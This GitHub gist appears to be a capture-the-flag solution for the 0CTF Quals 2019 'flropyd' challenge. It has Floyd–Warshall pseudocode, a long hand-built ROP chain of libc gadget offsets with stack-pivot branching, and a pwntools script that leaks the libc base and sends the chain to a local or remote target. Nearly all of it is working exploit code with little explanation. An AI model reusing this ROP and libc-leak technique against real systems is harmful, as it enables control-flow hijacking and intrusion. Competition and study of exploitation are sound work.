Created
March 25, 2019 19:51
-
-
Save v0s/a177d118cb9ddfd3c3d9697e6854ef9d to your computer and use it in GitHub Desktop.
0CTF Quals 2019 — flropyd (Floyd—Warshall using a ROP chain)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
NODE_COUNT = 32 — 63 | |
for ( i = 0LL; i < NODE_COUNT; ++i ) | |
{ | |
for ( j = 0LL; j < NODE_COUNT; ++j ) | |
{ | |
for ( k = 0LL; k < NODE_COUNT; ++k ) | |
{ | |
if ( WEIGHTS[(j << 6) + k] > (unsigned __int64)(WEIGHTS[(j << 6) + i] + WEIGHTS[(i << 6) + k]) ) | |
WEIGHTS[(j << 6) + k] = WEIGHTS[(i << 6) + k] + WEIGHTS[(j << 6) + i]; | |
} | |
} | |
} | |
r8 = NODE_COUNT | |
r9 = WEIGHTS | |
r11 = 0 // i | |
:loop1 | |
r12 = 0 // j | |
:loop2 | |
r13 = 0 // k | |
:loop3 | |
rdi = r12 //j | |
rdi <<= 6 (or *= 64) | |
rdi += r11 //i | |
rax = [r9 + rdi] //WEIGHTS[(j<<6)+i] | |
rdi = r11 //i | |
rdi <<= 6 (or *= 64) | |
rdi += r13 //k | |
rcx = [r9 + rdi] //WEIGHTS[(i<<6)+k] | |
rax += rcx //sum | |
rdi = r12 //j | |
rdi <<= 6 (or *= 64) | |
rdi += r13 //k | |
rcx = [r9 + rdi] //WEIGHTS[(j<<6)+k] | |
cmp rcx, rax | |
cmovnb rcx, rax | |
[r9 + rdi] = rcx //put back | |
inc r13 | |
cmp r13, r8 | |
jne/jb loop3 | |
inc r12 | |
cmp r12, r8 | |
jne/jb loop2 | |
inc r11 | |
cmp r11, r8 | |
jne/jb loop1 | |
mov rax, 1 | |
mov rdi, 0x7f | |
syscall //exit | |
============== ROP =============== | |
; save rsp somewhere | |
0x00001b9a: pop rdx / ret ; (6 found) | |
+0x00001b9a: pop rdx / ret ; (6 found) | |
0x0015c4ce: mov rdi, rsp / call rdx ; (1 found) | |
0x000439c8: pop rax / ret ; (18 found) <--------- RSP is saved at here | |
=0x602000 ;savedRsp | |
0x00097055: mov qword [rax], rdi / ret ; (1 found) | |
; [0x602000] = saved rsp | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0 | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602010 ;i | |
0x00097055: mov qword [rax], rdi / ret ; (1 found) | |
; [0x602010] = i = 0 | |
:loop1 ;; 0xE2E2 (+8 from saved) | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0 | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602018 ;j | |
0x00097055: mov qword [rax], rdi / ret ; (1 found) | |
; [0x602018] = j = 0 | |
:loop2 ;; 0xD2D2 (+13 from saved) | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0 | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602020 ;k | |
0x00097055: mov qword [rax], rdi / ret ; (1 found) | |
; [0x602020] = k = 0 | |
:loop3 ;; 0xC2C2 (+18 from saved) | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602018 ;j | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
; rax = j | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
; rax = j<<6 | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602010 ;i | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00125681: add eax, dword [rdx+rcx] / rep ret ; (4 found) | |
; rax = (j<<6)+i | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602068 ;WEIGHTS | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000ac21c: add rax, rsi / ret ; (2 found) | |
; rax = &WEIGHTS[(j<<6)+i] | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
; rax = WEIGHTS[(j<<6)+i] | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602030 ;tmp1 | |
0x0003093c: mov qword [rdx], rax / ret ; (2 found) | |
; [0x602030] = tmp1 = WEIGHTS[(j<<6)+i] | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602010 ;i | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
; rax = i | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
; rax = i<<6 | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602020 ;k | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00125681: add eax, dword [rdx+rcx] / rep ret ; (4 found) | |
; rax = (i<<6)+k | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602068 ;WEIGHTS | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000ac21c: add rax, rsi / ret ; (2 found) | |
; rax = &WEIGHTS[(i<<6)+k] | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
; rax = WEIGHTS[(i<<6)+k] | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602038 ;tmp2 | |
0x0003093c: mov qword [rdx], rax / ret ; (2 found) | |
; [0x602038] = tmp2 = WEIGHTS[(i<<6)+k] | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x601FC0 ;tmp1-0x70 | |
0x00052419: mov rsi, qword [rsi+0x70] / xor eax, eax / ret ; (1 found) | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602038 ;tmp2 | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
0x000ac21c: add rax, rsi / ret ; (2 found) | |
; rax = WEIGHTS[(j<<6)+i] + WEIGHTS[(i<<6)+k] | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602040 ;tmp3 | |
0x0003093c: mov qword [rdx], rax / ret ; (2 found) | |
; [0x602040] = tmp3 = WEIGHTS[(j<<6)+i] + WEIGHTS[(i<<6)+k] | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602018 ;j | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
; rax = j | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
; rax = j<<6 | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602020 ;k | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00125681: add eax, dword [rdx+rcx] / rep ret ; (4 found) | |
; rax = (j<<6)+k | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602068 ;WEIGHTS | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000efea5: add eax, eax / ret ; (1 found) | |
0x000ac21c: add rax, rsi / ret ; (2 found) | |
; rax = &WEIGHTS[(j<<6)+k] | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602048 ;tmp4 | |
0x0003093c: mov qword [rdx], rax / ret ; (2 found) | |
; [0x602048] = tmp4 = &WEIGHTS[(j<<6)+k] | |
0x001415de: mov edx, eax / ret ; (1 found) | |
; rdx = &WEIGHTS[(j<<6)+k] | |
0x001ab806: mov edi, dword [rdx] / ret ; (1 found) | |
; rdi = WEIGHTS[(j<<6)+k] | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0 | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0x602040 ;tmp3 = sum | |
0x0018676d: mov edx, dword [rcx+rdx*4] / sub eax, edx / ret ; (4 found) | |
; rdx = sum = WEIGHTS[(j<<6)+i] + WEIGHTS[(i<<6)+k] | |
0x0014ec4e: add eax, edx / ret ; (1 found) | |
; compensate | |
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found) | |
; if one > sum then al = 0, else 1 | |
0x0003f97b: movzx eax, al / ret ; (13 found) | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
; rsi = !(one > sum) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x410 ;0xAAAA - rax in cond rsi=0 == one > sum | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0x450 ;0xBBBB - rax in cond rsi=1 == else | |
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found) | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602000 ;&savedRsp | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0x60afff ;dummy writable memory | |
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found) | |
0x000ab9f8: add rax, rcx / ret ; (4 found) | |
; rax = savedRsp + 0xAAAA/0xBBBB | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
+0x00001f6e: ret ; (7842 found) | |
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found) | |
; if one>sum, jump to 0xAAAA, else jump to 0xBBBB | |
; 0xAAAA: -- do the move (+130 from saved) | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602048 ;tmp4 | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
0x001415dd: mov rdx, rax / ret ; (1 found) | |
; rdx = &WEIGHTS[(j<<6)+k] | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602040 ;tmp3 = sum | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
0x0003093c: mov qword [rdx], rax / ret ; (2 found) | |
; WEIGHTS[(j<<6)+k] = sum | |
; 0xBBBB: -- do nothing (+138 from saved) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602020 ;&k | |
0x001ab806: mov edi, dword [rdx] / ret ; (1 found) | |
; rdi = k | |
0x000a142f: add rdi, 0x01 / test al, al / mov eax, 0x00000000 / cmovne rax, rdi / ret ; (1 found) | |
0x001011ab: mov dword [rdx], edi / ret ; (1 found) | |
; store incremented k | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602060 ;&NODE_COUNT | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
0x001415dd: mov rdx, rax / ret ; (1 found) | |
0x000439c8: pop rax / ret ; (18 found) | |
=1 | |
0x001163d4: sub edx, eax / test eax, eax / cmovns eax, edx / ret ; (1 found) | |
; rdx = NODE_COUNT-1 | |
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found) | |
; if k < NODE_COUNT then al = 1, else 0 | |
0x0003f97b: movzx eax, al / ret ; (13 found) | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
; rsi = (k < NODE_COUNT) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=1384 ;0xC1C1 - rax in cond rsi=0 == k >= NODE_COUNT | |
0x0002155f: pop rdi / ret ; (490 found) | |
=144 ;0xC2C2 - rax in cond rsi=1 == k < NODE_COUNT | |
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found) | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602000 ;&savedRsp | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0x60afff ;dummy writable memory | |
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found) | |
0x000ab9f8: add rax, rcx / ret ; (4 found) | |
; rax = savedRsp + 0xC1C1/0xC2C2 | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
+0x00001f6e: ret ; (7842 found) | |
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found) | |
; if k < NODE_COUNT, jump to 0xC2C2, else jump to 0xC1C1 | |
;; 0xC1C1: (+173 from saved) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602018 ;&j | |
0x001ab806: mov edi, dword [rdx] / ret ; (1 found) | |
; rdi = j | |
0x000a142f: add rdi, 0x01 / test al, al / mov eax, 0x00000000 / cmovne rax, rdi / ret ; (1 found) | |
0x001011ab: mov dword [rdx], edi / ret ; (1 found) | |
; store incremented j | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602060 ;&NODE_COUNT | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
0x001415dd: mov rdx, rax / ret ; (1 found) | |
0x000439c8: pop rax / ret ; (18 found) | |
=1 | |
0x001163d4: sub edx, eax / test eax, eax / cmovns eax, edx / ret ; (1 found) | |
; rdx = NODE_COUNT-1 | |
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found) | |
; if j < NODE_COUNT then al = 1, else 0 | |
0x0003f97b: movzx eax, al / ret ; (13 found) | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
; rsi = (j < NODE_COUNT) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=1664 ;0xD1D1 - rax in cond rsi=0 == j >= NODE_COUNT | |
0x0002155f: pop rdi / ret ; (490 found) | |
=104 ;0xD2D2 - rax in cond rsi=1 == j < NODE_COUNT | |
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found) | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602000 ;&savedRsp | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0x60afff ;dummy writable memory | |
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found) | |
0x000ab9f8: add rax, rcx / ret ; (4 found) | |
; rax = savedRsp + 0xD1D1/0xD2D2 | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
+0x00001f6e: ret ; (7842 found) | |
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found) | |
; if j < NODE_COUNT, jump to 0xD2D2, else jump to 0xD1D1 | |
;; 0xD1D1: (+208 from saved) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=0x602010 ;&i | |
0x001ab806: mov edi, dword [rdx] / ret ; (1 found) | |
; rdi = i | |
0x000a142f: add rdi, 0x01 / test al, al / mov eax, 0x00000000 / cmovne rax, rdi / ret ; (1 found) | |
0x001011ab: mov dword [rdx], edi / ret ; (1 found) | |
; store incremented i | |
0x000439c8: pop rax / ret ; (18 found) | |
=0x602060 ;&NODE_COUNT | |
0x00145c98: mov rax, qword [rax] / ret ; (1 found) | |
0x001415dd: mov rdx, rax / ret ; (1 found) | |
0x000439c8: pop rax / ret ; (18 found) | |
=1 | |
0x001163d4: sub edx, eax / test eax, eax / cmovns eax, edx / ret ; (1 found) | |
; rdx = NODE_COUNT-1 | |
0x001300ea: cmp edx, edi / setnb al / ret ; (1 found) | |
; if i < NODE_COUNT then al = 1, else 0 | |
0x0003f97b: movzx eax, al / ret ; (13 found) | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
; rsi = (i < NODE_COUNT) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
=1944 ;0xE1E1 - rax in cond rsi=0 == i >= NODE_COUNT | |
0x0002155f: pop rdi / ret ; (490 found) | |
=64 ;0xE2E2 - rax in cond rsi=1 == i < NODE_COUNT | |
0x000a0b18: test rsi, rsi / mov rax, rdx / cmovnz rax, rdi / ret ; (1 found) | |
0x00023e6a: pop rsi / ret ; (147 found) | |
=0x602000 ;&savedRsp | |
0x0002155f: pop rdi / ret ; (490 found) | |
=0x60afff ;dummy writable memory | |
0x001743f4: mov rcx, qword [rsi] / mov qword [rdi+0x01], rdx / mov qword [rdi], rcx / ret ; (2 found) | |
0x000ab9f8: add rax, rcx / ret ; (4 found) | |
; rax = savedRsp + 0xE1E1/0xE2E2 | |
0x0003eb0b: pop rcx / ret ; (1 found) | |
=0 | |
0x00165d9e: mov rsi, rax / shr ecx, 0x03 / rep movsq / ret ; (1 found) | |
0x00118dca: mov r8, rsi / mov byte [r8-0x01], 0x00000000 / ret ; (1 found) | |
0x00001b9a: pop rdx / ret ; (6 found) | |
+0x00001f6e: ret ; (7842 found) | |
0x0003eca9: mov rsp, r8 / mov rbp, r9 / nop / jmp rdx / (4 found) | |
; if i < NODE_COUNT, jump to 0xE2E2, else jump to 0xE1E1 | |
;; 0xE1E1: (+243 from saved) | |
0x3251b: EB FE | |
;;;0x000439c8: pop rax / ret ; (18 found) | |
;;;=60 | |
;;;0x0002155f: pop rdi / ret ; (490 found) | |
;;;=0 | |
;;;0x000d2975: syscall / ret ; (11 found) | |
;;;=0xdeadbeef | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
# This exploit template was generated via: | |
# $ pwn template | |
from pwn import * | |
if args.REMOTE: | |
io = remote(args.HOST, args.PORT) | |
else: | |
io = process("./flropyd_o") | |
io.recvuntil("malloc address: ") | |
malloc = int(io.recvline().strip(), 0) | |
print "malloc:", hex(malloc) | |
libc = malloc - 0x0097070 | |
print "libc:", hex(libc) | |
payload = "A"*24 | |
for line in open("plan.txt"): | |
mt = re.findall(r'^(=|\+|)(0[xX][0-9a-fA-F]+|\d+)', line.strip()) | |
if mt: | |
val = int(mt[0][1], 0) | |
if mt[0][0] != '=': | |
val += libc | |
payload += p64(val) | |
pause() | |
io.recvuntil("please show me the rop chain:") | |
io.send(payload.ljust(0x10000)) | |
# io.shutdown() | |
io.interactive() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment